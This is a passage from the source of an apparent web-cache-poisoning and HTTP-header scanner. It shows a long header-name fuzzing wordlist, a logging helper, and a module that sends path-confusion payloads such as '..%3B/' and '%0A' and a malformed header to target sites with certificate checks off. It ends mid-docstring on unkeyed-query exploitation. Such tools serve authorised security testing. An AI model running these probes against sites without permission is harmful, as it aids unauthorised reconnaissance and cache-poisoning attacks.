| x-json 835 | x-litmus 836 | x-locking 837 | x-oc-mtime 838 | x-remote-addr 839 | x-request-signature 840 | x-ua-device 841 | x-update-range 842 | x-varnish 843 | x-wp-nonce 844 | auth 845 | brief 846 | chunk-size 847 | client 848 | download-attachment 849 | download-bz2 850 | download-e-headers-sent 851 | download-e-invalid-archive-type 852 | download-e-invalid-content-type 853 | download-e-invalid-file 854 | download-e-invalid-param 855 | download-e-invalid-request 856 | download-e-invalid-resource 857 | download-e-no-ext-mmagic 858 | download-e-no-ext-zlib 859 | download-inline 860 | download-tar 861 | download-tgz 862 | download-zip 863 | header-lf 864 | header-status-client-error 865 | header-status-informational 866 | header-status-redirect 867 | header-status-server-error 868 | header-status-successful 869 | https-from-lb 870 | meth-delete 871 | meth-head 872 | meth-post 873 | multipart-boundary 874 | originator 875 | php 876 | recipient 877 | request-error 878 | request-vars 879 | secretkey 880 | status-ok 881 | xauthorization 882 | x-codeception-codecoverage 883 | x-codeception-codecoverage-config 884 | x-codeception-codecoverage-debug 885 | x-codeception-codecoverage-suite 886 | x-csrf-token 887 | x-dokuwiki-do 888 | x-helpscout-signature 889 | x-nokia-bearer 890 | xonnection 891 | x-purpose 892 | xroxy-connection 893 | x-user 894 | bae-env-appid 895 | catalog-server 896 | cookie-path 897 | custom-header 898 | forwarded-for-ip 899 | meth-get 900 | meth-put 901 | opencart 902 | unless-modified-since 903 | www-address 904 | x-content-type 905 | x-hub-signature 906 | x-signature 907 | bae-env-addr-sql-ip 908 | bae-env-addr-sql-port 909 | cache-info 910 | client-error-cannot-access-local-file 911 | client-error-cannot-connect 912 | client-error-communication-failure 913 | client-error-invalid-parameters 914 | client-error-invalid-server-address 915 | client-error-no-error 916 | client-error-protocol-failure 917 | client-error-unspecified-error 918 | error-formatting-html 919 | lock-token 920 | onerror-continue 921 | onerror-die 922 | overwrite 923 | prefer 924 | shib-application-id 925 | x-fireloggerauth 926 | cookie-domain 927 | https 928 | modauth 929 | port 930 | post 931 | read-state-begin 932 | read-state-body 933 | read-state-headers 934 | socket-connection-err 935 | str-match 936 | transport-err 937 | coming-from 938 | nl 939 | ua-pixels 940 | x-coming-from 941 | x-jphone-display 942 | x-up-devcap-screenpixels 943 | x-whatever 944 | appname 945 | proxy-port 946 | version 947 | x-forward-for 948 | proxy-user 949 | x-em-uid 950 | x-file-type 951 | bar 952 | proxy 953 | timeout 954 | referrer 955 | x-forwarded-ssl 956 | x-jphone-uid 957 | x-file-size 958 | accepted 959 | appcookie 960 | bad-gateway 961 | bae-env-addr-bcs 962 | conflict 963 | continue 964 | created 965 | expectation-failed 966 | failed-dependency 967 | gateway-time-out 968 | gone 969 | insufficient-storage 970 | internal-server-error 971 | length-required 972 | locked 973 | method-not-allowed 974 | moved-permanently 975 | moved-temporarily 976 | multiple-choices 977 | multi-status 978 | no-content 979 | non-authoritative 980 | not-acceptable 981 | not-extended 982 | not-implemented 983 | not-modified 984 | partial-content 985 | payment-required 986 | precondition-failed 987 | processing 988 | proxy-authentication-required 989 | range-not-satisfiable 990 | request-entity-too-large 991 | request-time-out 992 | request-uri-too-large 993 | reset-content 994 | see-other 995 | service-unavailable 996 | switching-protocols 997 | temporary-redirect 998 | unprocessable-entity 999 | unsupported-media-type 1000 | upgrade-required 1001 | use-proxy 1002 | variant-also-varies 1003 | version-not-supported 1004 | x-operamini-phone 1005 | bad-request 1006 | forbidden 1007 | unauthorized 1008 | user-agent-via 1009 | appversion 1010 | not-found 1011 | x-pjax 1012 | cf-connecting-ip 1013 | x-dcmguid 1014 | foo 1015 | info-download-size 1016 | info-download-time 1017 | info-return-code 1018 | info-total-request-stat 1019 | info-total-response-stat 1020 | x-firelogger 1021 | content-md5 1022 | x-up-subno 1023 | bae-env-ak 1024 | bae-env-sk 1025 | if 1026 | ok 1027 | url-join-path 1028 | url-join-query 1029 | url-replace 1030 | url-strip-all 1031 | url-strip-auth 1032 | url-strip-fragment 1033 | url-strip-pass 1034 | url-strip-path 1035 | url-strip-port 1036 | url-strip-query 1037 | url-strip-user 1038 | depth 1039 | x-file-name 1040 | x-moz 1041 | x-ucbrowser-device-ua 1042 | device-stock-ua 1043 | mod-rewrite 1044 | x-nokia-ipaddress 1045 | x-bolt-phone-ua 1046 | x-original-user-agent 1047 | x-skyfire-phone 1048 | title 1049 | ssl-https 1050 | request-error-file 1051 | request-error-gzip-crc 1052 | request-error-gzip-data 1053 | request-error-gzip-method 1054 | request-error-gzip-read 1055 | request-error-proxy 1056 | request-error-redirects 1057 | request-error-response 1058 | request-error-url 1059 | slug 1060 | x-att-deviceid 1061 | authentication 1062 | x-firephp-version 1063 | x-mobile-gateway 1064 | request-mbstring 1065 | x-device-user-agent 1066 | x-huawei-userid 1067 | x-orange-id 1068 | x-vodafone-3gpdpcontext 1069 | x-wap-clientid 1070 | ua-cpu 1071 | wap-connection 1072 | x-nokia-gateway-id 1073 | ua-os 1074 | body-maxlength 1075 | body-truncated 1076 | max-forwards 1077 | mimetype 1078 | verify-cert 1079 | request-http-ver-1-0 1080 | request-http-ver-1-1 1081 | request-method-delete 1082 | request-method-get 1083 | request-method-head 1084 | request-method-options 1085 | request-method-post 1086 | request-method-put 1087 | request-method-trace 1088 | x-operamini-phone-ua 1089 | status 1090 | x-update 1091 | method 1092 | forwarded-for 1093 | x-forwarded 1094 | scheme 1095 | x-forwarded-server 1096 | origin 1097 | x-client-ip 1098 | x-prototype-version 1099 | clientaddress 1100 | base 1101 | pc-remote-addr 1102 | post-files 1103 | session-vars 1104 | cookie-vars 1105 | env-vars 1106 | get-vars 1107 | server-vars 1108 | x-forwarded-host 1109 | x-requested-with 1110 | referer 1111 | host 1112 | alt-used 1113 | x-original-url~/%s 1114 | x-rewrite-url~/%s 1115 | command 1116 | __requesturi 1117 | __requestverb 1118 | x-http-status-code-override 1119 | x-amzn-remapped-host 1120 | x-amz-website-redirect-location 1121 | x-up-devcap-post-charset 1122 | http_sm_authdirname 1123 | http_sm_authdirnamespace 1124 | http_sm_authdiroid 1125 | http_sm_authdirserver 1126 | http_sm_authreason 1127 | http_sm_authtype 1128 | http_sm_dominocn 1129 | http_sm_realm 1130 | http_sm_realmoid 1131 | http_sm_sdomain 1132 | http_sm_serveridentityspec 1133 | http_sm_serversessionid 1134 | http_sm_serversessionspec 1135 | http_sm_sessiondrift 1136 | http_sm_timetoexpire 1137 | http_sm_transactionid 1138 | http_sm_universalid 1139 | http_sm_user 1140 | http_sm_userdn 1141 | http_sm_usermsg 1142 | x-remote-ip 1143 | traceparent 1144 | tracestate 1145 | x-user-ip 1146 | x-proxied-user-ip 1147 | x-proxyuser-ip 1148 | cast-device-capabilities 1149 | content-transfer-encoding 1150 | developer-token 1151 | financial-institution-id 1152 | gdata-version 1153 | hotrod-board-name 1154 | hotrod-chrome-cpu-model 1155 | hotrod-chrome-processors 1156 | linked-customer-id 1157 | login-customer-id 1158 | mime-version 1159 | origintoken 1160 | request-id 1161 | unzipped-content-md5 1162 | want-digest 1163 | x-ad-manager-debug-info 1164 | x-ad-manager-impersonation 1165 | x-alkali-account-key 1166 | x-alkali-application-key 1167 | x-alkali-auth-apps-namespace 1168 | x-alkali-auth-entities-namespace 1169 | x-alkali-auth-entity 1170 | x-alkali-client-locale 1171 | x-android-cert 1172 | x-android-package 1173 | x-ariane-xsrf-token 1174 | x-chrome-connected 1175 | x-client-data 1176 | x-client-version 1177 | x-clientdetails 1178 | x-compass-routing-destination 1179 | x-correlation-id 1180 | x-debug-tracking-id 1181 | x-earth-engine-app-id-token 1182 | x-earth-engine-computation-profile 1183 | x-earth-engine-computation-profiling 1184 | x-firebase-appcheck 1185 | x-firebase-auth-token 1186 | x-firebase-client 1187 | x-firebase-client-log-type 1188 | x-firebase-gmpid 1189 | x-firebase-locale 1190 | x-firebase-token 1191 | x-foyer-client-environment 1192 | x-framework-xsrf-token 1193 | x-gdata-client 1194 | x-gdata-key 1195 | x-geo 1196 | x-ios-bundle-identifier 1197 | x-javascript-user-agent 1198 | x-origin 1199 | x-pan-versionid 1200 | x-referer 1201 | x-rfui-request-context 1202 | x-sdm-id-token 1203 | x-server-object-version 1204 | x-server-timeout 1205 | x-server-token 1206 | x-sfdc-authorization 1207 | x-stadia-client-context 1208 | x-upload-content-length 1209 | x-use-alt-service 1210 | x-use-http-status-code-override 1211 | x-now-route-matches 1212 | x-invoke-status 1213 | x-invoke-query 1214 | x-invoke-error 1215 | x-invoke-output 1216 | x-invoke-path 1217 | x-middleware-invoke 1218 | x-middleware-prefetch 1219 | -------------------------------------------------------------------------------- /modules/logging_config.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | This module provides functions to configure logging for a Python application. 6 | 7 | Functions: 8 | valid_log_level(level: str) -> str: 9 | 10 | configure_logger(module_name: str) -> logging.Logger: 11 | 12 | configure_logging(verbose: int, log: int, log_file: str = "./logs/%Y%m%d_%H%M.log"): 13 | verbose (int): The verbosity level. 14 | log (int): The logging level to set (e.g., DEBUG, INFO, etc.). 15 | log_file (str): The file path pattern for the log file. Defaults "./logs/%Y%m%d_%H%M.log". 16 | """ 17 | 18 | import logging 19 | import logging.config 20 | from time import strftime 21 | 22 | 23 | def valid_log_level(level: str) -> str: 24 | """ 25 | Validates and returns the corresponding logging level name. 26 | 27 | Args: 28 | level (str): The log level to validate ('DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL') 29 | 30 | Returns: 31 | str: The corresponding logging level name if valid. 32 | 33 | Raises: 34 | ValueError: If the provided log level is invalid. 35 | """ 36 | try: 37 | return logging.getLevelName(level.upper()) 38 | except ValueError as exc: 39 | raise ValueError(f"Invalid log level: {level}") from exc 40 | 41 | 42 | def configure_logger(module_name: str) -> logging.Logger: 43 | """ 44 | Configures and returns a logger instance for the specified module. 45 | 46 | This function sets up a logger for the given module name with a default logging level of DEBUG. 47 | 48 | Args: 49 | module_name (str): The name of the module for which the logger is being configured. 50 | 51 | Returns: 52 | logging.Logger: A logger instance configured for the specified module. 53 | """ 54 | logger = logging.getLogger(module_name) 55 | logger.setLevel(logging.DEBUG) 56 | return logger 57 | 58 | 59 | def configure_logging(verbose:int, log: int, log_file: str = "./logs/%Y%m%d_%H%M.log"): 60 | """ 61 | Configures the logging level for the root logger. 62 | 63 | Args: 64 | verbose (int): The verbosity level. 65 | log (int): The logging level to set (e.g., DEBUG, INFO, etc.). 66 | log_file (str): The file path pattern for the log file. Defaults "./logs/%Y%m%d_%H%M.log". 67 | """ 68 | log_level = log 69 | 70 | if verbose: 71 | log_level = max(logging.DEBUG, logging.WARNING - verbose * 10) 72 | else: 73 | log_level = log 74 | 75 | custom_logger_config = { 76 | "version": 1, 77 | "disable_existing_loggers": False, 78 | "formatters": { 79 | "customFormatter": { 80 | "format": "%(asctime)s - %(name)s - %(levelname)s - %(message)s" 81 | } 82 | }, 83 | "handlers": { 84 | "fileHandler": { 85 | "class": "logging.FileHandler", 86 | "formatter": "customFormatter", 87 | "level": log_level, 88 | "filename": strftime(log_file), 89 | "mode": "w", 90 | }, 91 | }, 92 | "loggers": { 93 | "": {"handlers": ["fileHandler"], "level": log_level, "propagate": False} 94 | }, 95 | } 96 | logging.config.dictConfig(custom_logger_config) 97 | -------------------------------------------------------------------------------- /modules/server_error.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Check difference between server error and basic response 6 | """ 7 | 8 | from modules.utils import requests, configure_logger 9 | 10 | logger = configure_logger(__name__) 11 | 12 | def get_server_error(url, base_header, authent, url_file): 13 | print("\033[36m ├ Server error analysis\033[0m") 14 | error_header = [] 15 | valid_error = False 16 | error_length = 0 17 | 18 | payloads_error = ["%2a","%EXT%", "%ff", "%0A", "..%3B/", "..%3B", "%2e"] 19 | for p in payloads_error: 20 | url_error = f"{url}{p}" if url[-1] == "/" else f"{url}/{p}" 21 | try: 22 | req_error = requests.get(url_error, verify=False, headers={'User-agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; LCJB; rv:11.0) like Gecko'}, timeout=10, auth=authent) 23 | 24 | if req_error.status_code in [400, 500] and not valid_error: 25 | print(f" i - 400 error code with {p} payload [{len(req_error.content)} bytes]") 26 | 27 | if error_length != len(req_error.content): 28 | error_length = len(req_error.content) 29 | valid_error = True 30 | 31 | for re in req_error.headers: 32 | error_header.append(f"{re}: {req_error.headers[re]}") 33 | for eh in error_header: 34 | if eh not in base_header: 35 | # IDK why but the map or lambda fctn seem bad with threading... 36 | if not url_file: 37 | error_header = list(map(lambda x, eh=eh: x.replace(eh, f"\033[33m{eh}\033[0m"), error_header)) 38 | else: 39 | pass 40 | 41 | if len(error_header) < len(base_header): 42 | while len(error_header) != len(base_header): 43 | error_header.append("") 44 | print("") 45 | print(f" \033[36m200 response header\033[0m {' ':<25} \033[36m400 response header\033[0m") 46 | for pbh, peh in zip(base_header, error_header): 47 | pbh = pbh.replace(pbh[40:], "...") if len(pbh) > 40 else pbh 48 | peh = peh.replace(peh[60:], "...\033[0m") if len(peh) > 60 else peh 49 | print(' {pbh:<45} → {peh:<15}'.format(pbh=pbh, peh=peh)) 50 | print("") 51 | else: 52 | pass 53 | except requests.RequestException as e: 54 | print(f" ! Error with {p} payload") 55 | logger.exception(e) 56 | header_cache_error(url, authent) 57 | 58 | 59 | def header_cache_error(url, authent): 60 | headers = {"\\":"1"} 61 | try: 62 | hce_req = requests.get(url, headers=headers, verify=False, timeout=10, auth=authent) 63 | if hce_req.status_code == 400: 64 | print(f" i - 400 error code with {headers} payload header [{len(hce_req.content)} bytes]") 65 | #print(hce_req.headers) 66 | except requests.RequestException as e: 67 | print(f" i - Error code with {headers} payload header ") 68 | logger.exception(e) 69 | -------------------------------------------------------------------------------- /modules/technologies.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | from modules.technos.apache import apache 5 | from modules.technos.nginx import nginx 6 | from modules.technos.envoy import envoy 7 | from modules.technos.akamai import akamai 8 | from modules.technos.fastly import fastly 9 | from modules.technos.cloudflare import cloudflare 10 | from modules.technos.imperva import imperva 11 | from modules.technos.vercel import vercel 12 | 13 | class technology: 14 | """ 15 | forwarded: 16 | nginx: 17 | X-Real-IP 18 | Forwarded 19 | apache: 20 | X-Forwarded-Server 21 | X-Real-IP 22 | Max-Forwards 23 | Unkeyed Query Exploitation: 24 | Apache: // | //?">